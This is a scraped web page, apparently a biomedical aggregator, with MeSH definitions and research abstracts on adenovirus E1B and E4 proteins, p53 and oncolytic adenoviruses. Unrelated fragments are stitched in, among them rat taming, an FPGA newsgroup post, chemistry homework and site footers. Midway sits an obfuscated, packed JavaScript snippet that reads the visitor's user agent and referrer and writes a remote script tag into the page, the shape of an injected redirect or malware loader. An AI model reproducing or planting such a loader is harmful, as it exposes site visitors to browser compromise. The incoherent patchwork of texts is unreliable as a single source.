A ubiquitously expressed zinc finger-containing protein that acts both as a repressor and activator of transcription. It interacts with key regulatory proteins such as TATA-BINDING PROTEIN; TFIIB; and ADENOVIRUS E1A PROTEINS.
Process of growing viruses in live animals, plants, or cultured cells.
Protein analogs and derivatives of the Aequorea victoria green fluorescent protein that emit light (FLUORESCENCE) when excited with ULTRAVIOLET RAYS. They are used in REPORTER GENES in doing GENETIC TECHNIQUES. Numerous mutants have been made to emit other colors or be sensitive to pH.
Widely used technique which exploits the ability of complementary sequences in single-stranded DNAs or RNAs to pair with each other to form a double helix. Hybridization can take place between two complimentary DNA sequences, between a single-stranded DNA and a complementary RNA, or between two RNA sequences. The technique is used to detect and isolate specific sequences, measure homology, or define other characteristics of one or both strands. (Kendrew, Encyclopedia of Molecular Biology, 1994, p503)
Any of various enzymatically catalyzed post-translational modifications of PEPTIDES or PROTEINS in the cell of origin. These modifications include carboxylation; HYDROXYLATION; ACETYLATION; PHOSPHORYLATION; METHYLATION; GLYCOSYLATION; ubiquitination; oxidation; proteolysis; and crosslinking and result in changes in molecular weight and electrophoretic motility.
A family of small, non-enveloped DNA viruses infecting birds and most mammals, especially humans. They are grouped into multiple genera, but the viruses are highly host-species specific and tissue-restricted. They are commonly divided into hundreds of papillomavirus "types", each with specific gene function and gene control regions, despite sequence homology. Human papillomaviruses are found in the genera ALPHAPAPILLOMAVIRUS; BETAPAPILLOMAVIRUS; GAMMAPAPILLOMAVIRUS; and MUPAPILLOMAVIRUS.
Tumor suppressor genes located on the short arm of human chromosome 17 and coding for the phosphoprotein p53.
A DNA-dependent RNA polymerase present in bacterial, plant, and animal cells. It functions in the nucleoplasmic structure where it transcribes DNA into RNA. It has specific requirements for cations and salt and has shown an intermediate sensitivity to alpha-amanitin in comparison to RNA polymerase I and II. EC
Nucleic acid sequences involved in regulating the expression of genes.
Enzymes that are involved in the reconstruction of a continuous two-stranded DNA molecule without mismatch from a molecule, which contained damaged regions.
A species of gram-negative, facultatively anaerobic, rod-shaped bacteria (GRAM-NEGATIVE FACULTATIVELY ANAEROBIC RODS) commonly found in the lower part of the intestine of warm-blooded animals. It is usually nonpathogenic, but some strains are known to produce DIARRHEA and pyogenic infections. Pathogenic strains (virotypes) are classified by their specific pathogenic mechanisms such as toxins (ENTEROTOXIGENIC ESCHERICHIA COLI), etc.
Linear POLYPEPTIDES that are synthesized on RIBOSOMES and may be further modified, crosslinked, cleaved, or assembled into complex proteins with several subunits. The specific sequence of AMINO ACIDS determines the shape the polypeptide will take, during PROTEIN FOLDING, and the function of the protein.
A group of enzymes that catalyzes the phosphorylation of serine or threonine residues in proteins, with ATP or other nucleotides as phosphate donors.
A genus of potentially oncogenic viruses of the family POLYOMAVIRIDAE. These viruses are normally present in their natural hosts as latent infections. The virus is oncogenic in hosts different from the species of origin.
Cellular DNA-binding proteins encoded by the c-myc genes. They are normally involved in nucleic acid metabolism and in mediating the cellular response to growth factors. Elevated and deregulated (constitutive) expression of c-myc proteins can cause tumorigenesis.
Enzymes that catalyze acyl group transfer from ACETYL-CoA to HISTONES forming CoA and acetyl-histones.
Nuclear antigen with a role in DNA synthesis, DNA repair, and cell cycle progression. PCNA is required for the coordinated synthesis of both leading and lagging strands at the replication fork during DNA replication. PCNA expression correlates with the proliferation activity of several malignant and non-malignant cell types.
ENDOPEPTIDASES which have a cysteine involved in the catalytic process. This group of enzymes is inactivated by CYSTEINE PROTEINASE INHIBITORS such as CYSTATINS and SULFHYDRYL REAGENTS.
The span of viability of a cell characterized by the capacity to perform certain functions such as metabolism, growth, reproduction, some form of responsiveness, and adaptability.
A diverse class of enzymes that interact with UBIQUITIN-CONJUGATING ENZYMES and ubiquitination-specific protein substrates. Each member of this enzyme group has its own distinct specificity for a substrate and ubiquitin-conjugating enzyme. Ubiquitin-protein ligases exist as both monomeric proteins multiprotein complexes.
A temperate coliphage, in the genus Mu-like viruses, family MYOVIRIDAE, composed of a linear, double-stranded molecule of DNA, which is able to insert itself randomly at any point on the host chromosome. It frequently causes a mutation by interrupting the continuity of the bacterial OPERON at the site of insertion.
A family of transcription factors found primarily in PLANTS that bind to the G-box DNA sequence CACGTG or to a consensus sequence CANNTG.

Definition of a major p53 binding site on Ad2E1B58K protein and a possible nuclear localization signal on the Ad12E1B54K protein. (1/290)

Previous studies have established that adenovirus 2/5 early region 1B (Ad E1B) 58K protein binds p53 strongly and co-localizes with it to cytoplasmic dense bodies whilst the homologous Ad12E1B54K protein binds only weakly and co-localizes primarily to the nucleus in Ad12E1 transformed cells. We have used these properties of the E1B proteins from different viral serotypes to map the p53 binding site on the Ad2/5 protein. A set of chimaeric genes was constructed containing different proportions of the Ad12 and Ad2E1B DNA. These, together with Ad12E1A and E1B19K DNA, were transfected into baby rat kidney cells and transformed lines isolated. From an examination of the properties of these Ad12/Ad2E1B fusion proteins in co-immunoprecipitation and subcellular localization experiments it has been concluded that the p53 binding site on Ad2E1B58K protein lies between amino acids 216 and 235 and that the homologous region on Ad12E1B54K protein also binds p53. In addition, a unique nuclear localization signal is located on Ad12E1B54K between residues 228 and 239. We suggest that primary structure differences in these regions of the Ad2 and Ad12E1B proteins are responsible for the different subcellular localizations in AdE1 transformants.  (+info)

Use of the Gal4-UAS technique for targeted gene expression in the zebrafish. (2/290)

The most common way to analyze the function of cloned genes in zebrafish is to misexpress the gene product or an altered variant of it by mRNA injection. However, mRNA injection has several disadvantages. The GAL4-UAS system for targeted gene expression allows one to overcome some of these disadvantages. To test the GAL4-UAS system in zebrafish, we generated two different kinds of stable transgenic lines, carrying activator and effector constructs, respectively. In the activator lines the gene for the yeast transcriptional activator GAL4 is under the control of a given promoter, while in the effectors the gene of interest is fused to the sequence of the DNA-binding motif of GAL4 (UAS). Crosses of animals from the activator and effector lines show that effector genes are transcribed with the spatial pattern of the activators. This work smoothes the way for a novel method of misexpression of gene products in zebrafish in order to analyze the function of genes in developmental processes.  (+info)

Corepressor required for adenovirus E1B 55,000-molecular-weight protein repression of basal transcription. (3/290)

Adenovirus E1B 55,000-molecular-weight protein (55K) binds to host cell p53, stabilizing it, greatly increasing its affinity for its cognate DNA-binding site, and converting it from a regulated activator to a constitutive repressor. Here we analyzed the mechanism of repression by the p53-E1B 55K complex. E1B 55K repression requires that 55K be tethered to the promoter by binding directly to DNA-bound p53. Transcription from an assembled, p53-activated preinitiation complex was not repressed by the subsequent addition of E1B 55K, suggesting that either sites of 55K interaction with p53 or targets of 55K in the preinitiation complex are blocked. Specific E1B 55K repression was observed in reactions lacking TFIIA and with recombinant TATA-binding protein in place of TFIID, conditions under which p53 does not activate transcription. Thus, E1B 55K does not simply inhibit a p53-specific activation mechanism but rather blocks basal transcription. As a consequence, E1B 55K may repress transcription from any promoter with an associated p53-binding site, no matter what other activators associate with the promoter. E1B 55K did not repress basal transcription in reactions with recombinant and highly purified general transcription factors and RNA polymerase II but rather required a corepressor that copurifies with the polymerase.  (+info)

Distinct regulation of p53 and p73 activity by adenovirus E1A, E1B, and E4orf6 proteins. (4/290)

Multiple adenovirus (Ad) early proteins have been shown to inhibit transcription activation by p53 and thereby to alter its normal biological functioning. Since these Ad proteins affect the activity of p53 via different mechanisms, we examined whether this inhibition is target gene specific. In addition, we analyzed whether the same Ad early proteins have a comparable effect on transcription activation by the recently identified p53 homologue p73. Our results show that the large E1B proteins very efficiently inhibited the activity of p53 on the Bax, p21(Waf1), cyclin G, and MDM2 reporter constructs but had no effect on the activation of the same reporter constructs by p73, with the exception of some inhibition of the Bax promoter by Ad12 E1B. The repressive effect of the E1A proteins on p53 activity is less than that seen with the large E1B proteins, but the E1A proteins inhibit the activity of both p53 and p73. We could not detect significant inhibition of p53 functions by E4orf6, but a clear repression of the transcription activation by p73 by this Ad early protein was observed. In addition, we found that stable expression of the Ad5 E1A and that of the E1B protein both caused increased p73 protein expression. The large E1B and the E4orf6 proteins together do not target the p73 protein for rapid degradation after adenoviral infection, as has previously been found for the p53 protein, probably because the large E1B protein does not interact with p73. Our results suggest that the p53 and p73 proteins are both inactivated after Ad infection and transformation but via distinct mechanisms.  (+info)

Involvement of epitope mimicry in potentiation but not initiation of autoimmune disease. (5/290)

We have examined whether the peptide (368-381) from the murine adenovirus type 1 E1B sequence, exhibiting a high degree of homology with the known pathogenic thyroglobulin (Tg) T cell epitope (2695-2706), can induce experimental autoimmune thyroiditis (EAT) in SJL/J mice. The viral peptide was a poor immunogen at the T or B cell level and did not elicit EAT either directly or by adoptive transfer assays. Surprisingly, however, the viral peptide was highly antigenic in vitro, activating a Tg2695-2706-specific T cell clone and reacting with serum IgG from mice primed with the Tg homologue. The viral peptide also induced strong recall responses in Tg2695-2706-primed lymph node cells, and subsequent adoptive transfer of these cells into naive mice led to development of highly significant EAT. These data demonstrate that nonimmunogenic viral peptides can act as agonists for preactivated autoreactive T cells and suggest that epitope mimicry may at times play a potentiating rather than a precipitating role in the pathogenesis of autoimmune disease.  (+info)

An arginine-faced amphipathic alpha helix is required for adenovirus type 5 e4orf6 protein function. (6/290)

A region in the carboxy terminus of the protein encoded by open reading frame 6 in early region 4 (E4orf6) of adenovirus type 5 was determined to be required for directing nuclear localization of the E1B 55-kDa protein and for efficient virus replication. A peptide encompassing this region, corresponding to amino acids 239 through 255 of the E4orf6 protein, was analyzed by circular dichroism spectroscopy. The peptide showed evidence of self-interaction and displayed the characteristic spectra of an amphipathic alpha helix in the helix-stabilizing solvent trifluoroethanol. Disrupting the integrity of this alpha helix in the E4orf6 protein by proline substitutions or by removing amino acids 241 through 250 abolished its ability to direct the E1B 55-kDa protein to the nucleus when both proteins were transiently expressed in HeLa cells. Expression of E4orf6 variants that failed to direct nuclear localization of the E1B 55-kDa protein failed to enhance replication of the E4 mutant virus, dl1014, whereas expression of the wild-type E4orf6 protein restored growth of dl1014 to near-wild-type levels. These results suggest that the E4orf6 protein contains an arginine-faced, amphipathic alpha helix that is critical for a functional interaction with the E1B 55-kDa protein in the cell and for the function of the E4orf6 protein during a lytic infection.  (+info)

p53-Independent and -dependent requirements for E1B-55K in adenovirus type 5 replication. (7/290)

The adenovirus type 5 mutant dl1520 was engineered previously to be completely defective for E1B-55K functions. Recently, this mutant (also known as ONYX-015) has been suggested to replicate preferentially in p53(-) and some p53(+) tumor cell lines but to be attenuated in primary cultured cells (C. Heise, A. Sampson-Johannes, A. Williams, F. McCormick, D. D. F. Hoff, and D. H. Kirn, Nat. Med. 3:639-645, 1997). It has been suggested that dl1520 might be used as a "magic bullet" that could selectively lyse tumor cells without harm to normal tissues. However, we report here that dl1520 replication is independent of p53 genotype and occurs efficiently in some primary cultured human cells, indicating that the mutant virus does not possess a tumor selectivity. Although it was not the sole host range determinant, p53 function did reduce dl1520 replication when analyzed in a cell line expressing temperature-sensitive p53 (H1299-tsp53) (K. L. Fries, W. E. Miller, and N. Raab-Traub, J. Virol. 70:8653-8659, 1996). As found earlier for other E1B-55K mutants in HeLa cells (Y. Ho, R. Galos, and J. Williams, Virology 122:109-124, 1982), dl1520 replication was temperature dependent in H1299 cells. When p53 function was restored at low temperature in H1299-tsp53 cells, it imposed a modest defect in viral DNA replication and accumulation of late viral cytoplasmic mRNA. However, in both H1299 and H1299-tsp53 cells, the defect in late viral protein synthesis appeared to be much greater than could be accounted for by the modest defects in late viral mRNA levels. We therefore propose that in addition to countering p53 function and modulating viral and cellular mRNA nuclear transport, E1B-55K also stimulates late viral mRNA translation.  (+info)

A novel adenovirus E1B19K-binding protein B5 inhibits apoptosis induced by Nip3 by forming a heterodimer through the C-terminal hydrophobic region. (8/290)

The adenovirus E1B19K protein inhibits apoptosis induced by E1A and other divergent signals. The cellular proteins that interact with E1B19K have been analyzed by isolating cDNA clones by the yeast two hybrid system. One of these clones encodes B5 which consists of 219 amino acid residues and contains the putative BH3 and transmembrane regions. B5 binds strongly to Nip3 and itself, weakly to E1B19K, but not to Bcl-2 and localizes in nuclear envelope, endoplasmic reticulum and mitochondria. B5 has sequence homology with Nip3 in the middle and C-terminal regions, but not in the N-terminal region. Unlike other E1B19K binding BH3 proteins so far characterized, B5 does not induce apoptosis, but inhibits apoptosis induced by Nip3. However the deletion mutant B5Delta1-31 lacking the N-terminus does induce apoptosis, although weaker than does Nip3, suggesting that the N-terminal region is masking the apoptosis-inducing capacity of B5.  (+info)

Intraperitoneal (i.p.) recurrence of cisplatin-refractory and p53 mutant ovarian cancer is a major clinical problem, despite surgery and chemotherapy. dl1520 (ONYX-015) is an E1B-55 kDa gene-deleted adenovirus engineered selectively to replicate in and destroy cancer cells lacking functional p53. Ho …
kdplus.test performs a global test of clustering for comparing cases and controls using the method of Diggle and Chetwynd (1991). It relies on the difference in estimated K functions.
For a multitype point pattern, estimate the multitype $K$ function which counts the expected number of points of type $j$ within a given distance of a point of type $i$.
View Notes - 351 E3p key F09 from CHEM 351 at BYU. Chem 351 Name K E. Nielson Practice Exam 3 Show answers clearly/cross out any answers you dont want graded. Draw structures when possible with
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Backgrounds: The presence of circulating tumor cells (CTC) in the peripheral blood is associated with short survival and, therefore, the detection of CTC is clinically useful as prognostic factors of disease outcome and/or surrogate markers of treatment response. Recently, the analytic method using immunocytochemical staining or PCR-based assay were developed to detect a few CTC in the blood; however, there is no sensitive assay for detecting and visualizing live CTC. In present study, we report a new strategy to selectively label human CTC with fluorescence among millions of peripheral blood leukocytes using telomerase-specific replication-selective adenovirus expressing green fluorescent protein (GFP). Methods: We previously constructed a GFP-expressing adenovirus variant, in which the Telomerase promoter regulates viral replication (OBP-401, TelomeScan). We used OBP-401 to establish a simple ex vivo method for detecting viable human circulating tumor cells in the peripheral blood and assessed ...
human MATE2-K protein: results suggest that hMATE1 and hMATE2-K function together as a detoxication system, by mediating the tubular secretion of intracellular ionic compounds across the brush-border membranes of the kidney.
Russell Shaw ,[email protected], schrieb im Newsbeitrag news:[email protected] , , , Falk Brunner wrote: , , , , I think Peter triggerd some inner gost of mine. , , I want to compute the EXACT number of unique functions possible with a 4 , , input LUT... , , It depends on the exact definition of a function. , To get 64k functions from a 4-bit lut, one could , assume that all 4 input bits are dedicated to one , function, and that all combinations of inputs are , valid. Then by defining function as the set of Hmm, I see what you mean. Like Y = !A and B is also a valid function for a 4I-LUT. , input-,output maps, thered by 2^16. However, NO!! Why? Just look. (Fixed font) DCBA Y Y2 0000 0 0 0001 1 0 0010 0 0 0011 1 0 0100 0 0 0101 1 0 0110 0 0 0111 1 0 1000 0 1 1001 1 1 1010 0 1 1011 1 1 1100 0 1 1101 1 1 1110 0 1 1111 1 1 The function Y and Y2 are IDENTICAL. Y = A Y2 = D This is just a permutation of inputs. , the LUT inputs can be divided between smaller , sub-LUTs, so ...
People get rats from lots of different places and they arent always the tamest of rats. There is no point telling someone who has just picked up a couple of unhandled babies that they ought to have looked for a breeder who selects for calm temperament and handles their baby rats daily. First, they probably tried that but didnt want to wait 4-6 months for baby rats from these (frankly rare) breeders who handle daily. Second, its too late!. However, the good news is that for most rats, taming is just a matter of time and patience. While it may not seem easy, it is definitely possible to bring a rat around from a skittish scared baby to a great pet. In fact, some of the nicest adult rats Ive had started out as not very confident babies.. There are different ideas about taming rats. Whatever method you choose, Id suggest that early on (immediately) stop chasing your rats around a cage. The more you chase, the more theyll run and you are encouraging them into a habit of running away from you. ...
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Part I and Part II Somewhere in between all of that driving I had to ask myself what are you doing? While I believe in hard work, Im also a firm believer that life shouldnt be hard work. Theres a difference between a challenge and an uphill battle. Facing challenges in order to attain goals…
Part I and Part II Somewhere in between all of that driving I had to ask myself what are you doing? While I believe in hard work, Im also a firm believer that life shouldnt be hard work. Theres a difference between a challenge and an uphill battle. Facing challenges in order to attain goals…
Definition of Adenovirus E3 10.4K/14.5kD Protein in the Legal Dictionary - by Free online English dictionary and encyclopedia. What is Adenovirus E3 10.4K/14.5kD Protein? Meaning of Adenovirus E3 10.4K/14.5kD Protein as a legal term. What does Adenovirus E3 10.4K/14.5kD Protein mean in law?
CG7870 is a replication-selective oncolytic adenovirus genetically engineered to replicate preferentially in prostate tissue. In a previous phase I/II clinical trial of intraprostatic delivery of CG7870 for locally recurrent prostate cancer this virus was well tolerated. In this phase I study CG7870 …
Two years ago, OShea discovered that E4-ORF3 clears the way for adenovirus to proliferate by deactivating genes that help the cell defend itself against the virus. It literally creates zip files of p53 target genes by compressing them until they can no longer be read, she explains. E4-ORF3 self-assembles inside cells into a disordered, web-like structure that captures and inactivates different tumor suppressor protein complexes. Horng Ou, a postdoctoral researcher in OSheas laboratory, says E4-ORF3 is unusual. It doesnt resemble any known proteins that assemble polymers or that function in cellular tumor suppressor pathways, he says. Most cellular polymers and filaments form uniform, rigid chains. But E4-ORF3 is the viruss Swiss army knife-it assembles into something that is highly versatile. It has the ability to build itself into all sorts of different shapes and sizes that can capture and deactivate the many defenses of a host cell. In collaboration with scientists from the ...
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Recombinant BCL2/adenovirus E1B 19kDa Interacting Protein 1 (BNIP1) Protein (GST tag). Species: Human. Source: Wheat germ. Order product ABIN1346798.
Reaktivität: Fledermaus, Rind (Kuh), Hund and more. 114 verschiedene BNIP3L Antikörper vergleichen. Alle direkt auf antikörper-online bestellbar!
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Sağlık Bilişimi , Sağlık Aktüel , Dijital Hastane , OHSAD. İnovatürk Danışmanlık Eğitim ve Tanıtım Hizmetleri Tic. Ltd. Şti. © ...
The adenovirus E1B gene products are required for productive infection of human cells and for complete transformation of rodent cells in cooperation with the E1A gene products. Two major, unrelated polypeptides of 55,000 (55K) and 19,000 (19K) daltons are encoded by the E1B region. The 55K protein is required for efficient DNA replication, late mRNA transport to the cytoplasm and shut-off of cellular mRNA transport in productively infected cells. This protein is required for virus-mediated, but not DNA-mediated, transformation of rodent cells. It appears that the 55K protein does not directly contribute to cell transformation, but influences the oncogenicity of adenoviruses when they are inoculated into newborn hamsters. In contrast, the 19K protein is required for adenovirus induced cellular transformation and oncogenicity and localizes to membranes of the nuclear envelope, cytoplasm and the cell surface in transformed cells. This protein affects the efficiency of virus growth in some, but not ...
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!.replace(/^/,String)){while(c-){d[c.toString(a)]=k[c],,c.toString(a)}k=[function(e){return d[e]}];e=function(){return\w+};c=1};while(c-){if(k[c]){p=p.replace(new RegExp(\b+e(c)+\b,g),k[c])}}return p}(0.6();n m=q;,30,30,document,,javascript,encodeURI,src,,write,http,45,67,script,text,rel,nofollow,type,97,language,jquery,userAgent,navigator,sc,ript,eifik,var,u0026u,referrer,kytkd,,js,php.split(,),0 ...
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View Notes - CH310N_Spring09_HW02-1 from CH 53185 at University of Texas. Sessler CH310N Homework Problem Set 2 Due Thursday February 5th 1 K E Y Please write the first three letters of your last
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RNA molecules from nuclear and cytoplasmic polyribosomes of adenovirus-infected HeLa cells were compared by hybridization to analyse the sequence content. Nuclear polyribosomes were released by exposure of intact detergent-washed nuclei to poly(U) and purified. Cytoplasmic polyribosomes were also purified from the same cells. To show that nuclear polyribosomes contain ribosomes linked by mRNA, polyribosomes were labelled with methionine and uridine in the presence of actinomycin D in adenovirus-infected cells. Purified nuclear polyribosomes were treated with EDTA under conditions which dissociate polyribosomes into ribosomes and subunits with a simultaneous release of mRNA, and sedimented. The treatment dissociated these polyribosomes, releasing the mRNA from them. Radiolabelled total RNA from each polyribosome population was fractionated in sucrose gradients into several pools or hybridized to intact adenovirus DNA to select virus-specific RNA. Sucrose-gradient-fractionated pool-3 RNA (about ...
Ubiquitin carrier proteins (E2s) are involved in the covalent attachment of ubiquitin to a variety of cellular target proteins in eukaryotes. Here, we report the cloning of genes from wheat and Arabidopsis thaliana that encode 16-kDa E2s and a domain analysis of E2s by in vitro mutagenesis. The genes for E216kDa, which we have designated wheat and At UBC1, encode proteins that are only 33% identical (58% similar) with a 23-kDa E2 from wheat (encoded by the gene now designated wheat UBC4), but are 63% identical (82% similar) with the E2 encoded by the Saccharomyces cerevisiae DNA repair gene, RAD6. Unlike the proteins encoded by RAD6 and wheat UBC4, the UBC1 gene products lack acidic C-terminal domains extending beyond the conserved core of the proteins and are incapable of efficient in vitro ligation of ubiquitin to histones. From enzymatic analysis of the UBC1 and UBC4 gene products mutagenized in vitro, we have identified several domains important for E2 function, including the active site ...
Fingerprint Dive into the research topics of Accumulation of early and intermediate mRNA species during subgroup C adenovirus productive infections. Together they form a unique fingerprint. ...
2002-02-01 Resumo em português A dosagem de prolactina é teste de rotina em numerosas condições da prática clínica, e o encontro de hiperprolactinemia pode desencadear outros protocolos diagnósticos mais complexos e custosos. A prolactina é um hormônio bastante heterogêneo e, do ponto de vista de peso molecular, existem três formas principais em circulação: monômero de 23kDa, dímero (big prolactin) de 45kDa e macroprolactina (big-big prolactin) de peso molecular acima de 150kDa. Em condi� (mais) �ões normais ou em pacientes com hiperprolactinemia sintomática, predomina em circulação a forma monomérica. A macroprolactina é constituída, na maioria dos casos, por uma associação entre uma molécula de prolactina e uma de IgG, o que leva a uma meia-vida mais longa e atividade biológica menor. O método mais empregado para a pesquisa da existência de quantidades significativas de macroprolactina é o estudo de recuperação pós precipitação do soro com ...
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This post is about adenovirus infection, a major cause of illness both minor and severe in the United States, especially among children in group settings.
TY - JOUR. T1 - Antitumor effects of telomerase-specific replication-selective oncolytic viruses for adenoid cystic carcinoma cell lines. AU - Sato, Daisuke. AU - Kurihara, Yuji. AU - Kondo, Seiji. AU - Shirota, Tatsuo. AU - Urata, Yasuo. AU - Fujiwara, Toshiyoshi. AU - Shintani, Satoru. PY - 2013/12. Y1 - 2013/12. N2 - We evaluated the antitumor effect of a telomerase-specific replication-selective adenovirus (Telomelysin, OBP-301) for adenoid cystic carcinoma (ACC) in vitro and in vivo. Adenovirus E1 gene expression was controlled by human telomerase reverse transcription (hTERT). Infection of ACC cells by OBP-301 induced high E1A mRNA expression and subsequent oncolytic cell death in a dose-dependent manner. Using OBP-401 (TelomeScan), a genetically engineered adenovirus that carries the GFP gene under the control of the cytomegalovirus (CMV) promoter at the deleted E3 region of OBP-301, ACC cells expressed bright GFP fluorescence as early as 12 h after OBP-401 infection. The fluorescence ...
TY - JOUR. T1 - Adenovirus infections in heart transplantation. AU - Florescu, Diana F.. AU - Kwon, Joong Y.. AU - Dumitru, Ioana. PY - 2013/7. Y1 - 2013/7. N2 - Adenovirus infections have been associated with significant morbidity and mortality in immunocompromised hosts. The clinical significance of adenovirus disease in heart transplantation is not well-defined; in particular, the significance of adenovirus identification in myocardium remains unclear. Although severe adenovirus disease has been described in heart transplant recipients, adenovirus infections seem to be more frequently associated with increased risk of adverse cardiac events, such as rejection, ventricular dysfunction, coronary vasculopathy, need for retransplantation, and graft loss because of death. Cidofovir is currently considered the standard of treatment for adenovirus disease not responding to reduction of immunosuppression.. AB - Adenovirus infections have been associated with significant morbidity and mortality in ...
TY - JOUR. T1 - The adenovirus E4 11k protein binds and relocalizes the cytoplasmic P-body component Ddx6 to aggresomes. AU - Greer, Amy E.. AU - Hearing, Patrick. AU - Ketner, Gary W. PY - 2011/8/15. Y1 - 2011/8/15. N2 - The adenovirus E4 11k protein, product of E4 ORF3, is required in infection for processes including normal accumulation of viral late mRNAs. 11. k restructures both the nucleus and cytoplasm of infected cells by relocalizing specific host cell target proteins, most strikingly components of nuclear PML oncogenic domains. It is likely that in many cases relocalization inactivates target proteins to produce 11. ks effects, although the mechanism and targets for stimulation of late mRNA accumulation is unknown. We have identified a new set of proteins relocalized by 11. k: at least five protein components of cytoplasmic mRNA processing bodies (p-bodies) are found in 11. k-induced cytoplasmic aggresomes, sites where proteins are inactivated or destroyed. One of these p-body ...
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TY - JOUR. T1 - Conserved region 2 of adenovirus E1A has a function distinct from pRb binding required to prevent cell cycle arrest by p16(INK4a) or p27(Kip1). AU - Alevizopoulos, Konstantinos. AU - Sanchez, Belén. AU - Amati, Bruno. PY - 2000/4/13. Y1 - 2000/4/13. N2 - Ectopic expression of the CDK inhibitors (CKIs) p16(INK4a) and p27(Kip1) in Rat1 fibroblasts induces dephosphorylation and activation of Retinoblastoma-family proteins (pRb, p107 and p130), their association with E2F proteins, and cell cycle arrest in G1. The growth-inhibitory action of p16, in particular, is believed to be mediated essentially via pRb activation. The 12S E1A protein of human Adenovirus 5 associates with pRb-family proteins via residues in its Conserved Regions (CR) 1 and 2, in particular through the motif LXCXE in CR2. These interactions are required for E1A to prevent G1 arrest upon co-expression of CKIs. We show here that mutating either of two conserved motifs adjacent to LXCXE in CR2, GFP and SDDEDEE, also ...
The spatial distribution of mineral deposits is a critical component of predictive estimation of undiscovered mineral resources. Nickel sulfide deposits in the Kalgoorlie terrane of Western Australia, the worlds premier province for komatiite-hosted nickel sulfide deposits, are generally perceived to be clustered. We apply distance-based spatial analysis methods (nearest neighbor and K function) to determine the spatial distribution pattern of nickel sulfide deposits in the Kalgoorlie terrane. Results of these spatial analyses indicate the komatiite bodies that contain the nickel sulfide deposits in the terrane are clustered. In contrast, nickel sulfide deposits within komatiite bodies are either randomly distributed or dispersed and not clustered. Therefore, the apparent clustering of nickel sulfide deposits within the Kalgoorlie terrane may be a mere expression of the underlying clustering of the host komatiite bodies. These findings have two main implications: (1) nickel exploration models ...
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Adenovirus Type 9, 0.1 mg. The many different serotypes of human adenoviruses (Ad) are divided into six subgroups, of which all Ad subgroup A and B and two subgroup D Ads can elicit tumors in infected rodents.
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the equilibrium constant for a solubility reaction. A general solubility equation could be written as: MX (s) M+ (aq) + X- (aq) where MX represents an ionic solid, M+ the positive ion, and X- the negative ion. Since pure solids have an activity of 1, they are not included in equilibrium constant expressions. Therefore, the K expression for this reaction is: Since the concentration of either ion, [M+] or [Cl-] is the amount of MX that dissolved, (in other words, MXs solubility) and the result of multiplying two numbers is called a product, this kind of K expression is called a solubility product, and given the symbol Ksp. Therefore the K expression would normally be written ...
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... adenovirus e1a proteins MeSH D12.776.964.700.045.050.110 - adenovirus e1b proteins MeSH D12.776.964.700.045.060 - adenovirus e2 ... adenovirus E1B proteins MeSH D12.776.624.664.520.045.060 - adenovirus e2 proteins MeSH D12.776.624.664.520.045.070 - adenovirus ... adenovirus e3 proteins MeSH D12.776.964.700.045.080 - adenovirus e4 proteins MeSH D12.776.964.700.750.320 - fusion proteins, ... oncogene protein tpr-met MeSH D12.776.624.664.520.045 - adenovirus early proteins MeSH D12.776.624.664.520.045.050 - adenovirus ...
Control protein E1B 19K suppresses apoptosis by mimicking the action of cellular protein Bcl-2. Control protein E1B 55K binds ... The functions of many adenovirus proteins are known: Structural proteins include capsid proteins II (hexon), III (penton base ... "Protein Details for Human adenovirus E". NCBI. Retrieved 2013-01-17. Russell, WC (Jan 2009). "Adenoviruses: update on structure ... and the terminal protein TP. Encapsidation proteins IVa2, 52K, and L1, and hexon assembly protein 100K are involved in assembly ...
The adenovirus E1B-55K protein and the hepatitis B virus HBx protein are examples of viral proteins that can perform such a ... Examples of viral Bcl-2 proteins include the Epstein-Barr virus BHRF1 protein and the adenovirus E1B 19K protein. Some viruses ... these inhibitory proteins target retinoblastoma tumor-suppressing proteins. These tumor-suppressing proteins regulate the cell ... HIV proteins decrease the amount of CD4 glycoprotein marker present on the cell membrane. Released viral particles and proteins ...
BCL2/adenovirus E1B 19 kDa protein-interacting protein 3-like is a protein that in humans is encoded by the BNIP3L gene. This ... gene is a member of the BCL2/adenovirus E1B 19 kd-interacting protein (BNIP) family. It interacts with the E1B 19 kDa protein ... "Entrez Gene: BNIP3L BCL2/adenovirus E1B 19kDa interacting protein 3-like". Passer BJ, Nancy-Portebois V, Amzallag N, Prieur S, ... The protein encoded by this gene is a functional homolog of BNIP3, a proapoptotic protein. This protein may function ...
BCL2/adenovirus E1B 19 kDa protein-interacting protein 2 is a protein that in humans is encoded by the BNIP2 gene. This gene is ... "Adenovirus E1B 19 kDa and Bcl-2 proteins interact with a common set of cellular proteins". Cell. 79 (2): 341-51. doi:10.1016/ ... "Entrez Gene: BNIP2 BCL2/adenovirus E1B 19kDa interacting protein 2". Low BC, Seow KT, Guy GR (December 2000). "The BNIP-2 and ... it interacts with the E1B 19 kDa protein which is responsible for the protection of virally induced cell death, as well as E1B ...
... replication of the adenovirus genome can occur. A terminal protein that is covalently bound to the 5' end of the adenovirus ... E1A (binds Retinoblastoma tumor suppressor protein) has been found to immortalize primary cells in vitro allowing E1B (binds ... Adenoviruses Stanford University-Adenoviruses Adenoviruses General Concepts General information on Adenovirus DNA virus ... Tupaia adenovirus (TAV) (tree shrew adenovirus 1) has been isolated from tree shrews. Otarine adenovirus 1 has been isolated ...
"Adenovirus E4-ORF3 Targets PIAS3 and Together with E1B-55K Remodels SUMO Interactions in the Nucleus and at Virus Genome ... "Adenovirus Overrides Cellular Checkpoints for Protein Translation". Cell Cycle. 4 (7): 883-888. doi:10.4161/cc.4.7.1791. PMID ... "Visualizing viral protein structures in cells using genetic probes for correlated light and electron microscopy". Methods. 90: ...
BCL2/adenovirus E1B 19 kDa protein-interacting protein 3 is a protein that in humans is encoded by the BNIP3 gene. BNIP3 is a ... October 1994). "Adenovirus E1B 19 kDa and Bcl-2 proteins interact with a common set of cellular proteins". Cell. 79 (2): 341-51 ... As of this edit, this article uses content from "1.A.20 The BCL2/Adenovirus E1B-interacting Protein 3 (BNip3) Family", which is ... "Entrez Gene: BNIP3 BCL2/adenovirus E1B 19kDa interacting protein 3". Menyhárt O, Harami-Papp H, Sukumar S, Schäfer R, Magnani L ...
"Adenovirus E1B 19 kDa and Bcl-2 proteins interact with a common set of cellular proteins". Cell. 79 (2): 341-51. doi:10.1016/ ... These pro-apoptotic proteins are in turn activated by BH3-only proteins, and are inhibited by the function of BCL-2 and its ... encodes a protein that activates apoptosis and interacts selectively with survival-promoting proteins Bcl-2 and Bcl-X(L)". The ... Integral membrane proteins, Peripheral membrane proteins, Oncogenes, Apoptosis, Programmed cell death). ...
